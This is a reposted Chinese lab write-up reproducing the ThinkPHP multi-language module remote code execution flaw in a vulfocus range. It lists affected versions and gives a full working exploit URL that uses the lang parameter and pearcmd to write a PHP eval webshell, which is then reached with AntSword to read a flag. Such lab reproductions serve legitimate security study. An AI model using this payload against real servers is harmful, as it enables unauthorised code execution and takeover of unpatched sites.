0


ThinkPHP 多语言模块RCE漏洞复现

1、产品简介

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

2、漏洞概述

如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

默认情况下,系统只会加载默认语言包,如果需要多语言自动侦测及自动切换,需要在全局的中间件定义文件中添加中间件定义。因此只有启用多语言并且使用存在漏洞的版本时才存在漏洞。

3、影响范围

v6.0.1 < Thinkphp < v6.0.13

Thinkphp v5.0.x

Thinkphp v5.1.x

4、环境搭建

使用vulfocus在线靶场环境进行复现

13dbdcad1a5e4cddb9d191a7a0958435.png

5、利用流程

1、开启靶场环境,直接访问漏洞地址bp抓包(注意路径)

97addbaee6864a51847444b35fa11bad.png

2、发送请求到Reperater模块进行利用,这里我们直接写入一句话马子

exp如下:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['a']);?>+/var/www/html/a.php

5042f401110a4368bea8b0e8b9d0baae.png

3、使用中国蚁剑连接写入的马子,成功拿到shell环境,读取flag

7f783dfb4e434cf9be533df97adcde50.png

04420e21a9464c9690566ee9a74a3896.png

这里主要是利用pearcmd.php这个pecl/pear中的文件。pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。

6、修复方案

官方已经发布最新版,请升级到最新版


本文转载自: https://blog.csdn.net/qq_41904294/article/details/128437188
版权归原作者 OidBoy_G 所有, 如有侵权,请联系我们删除。

“ThinkPHP 多语言模块RCE漏洞复现”的评论:

还没有评论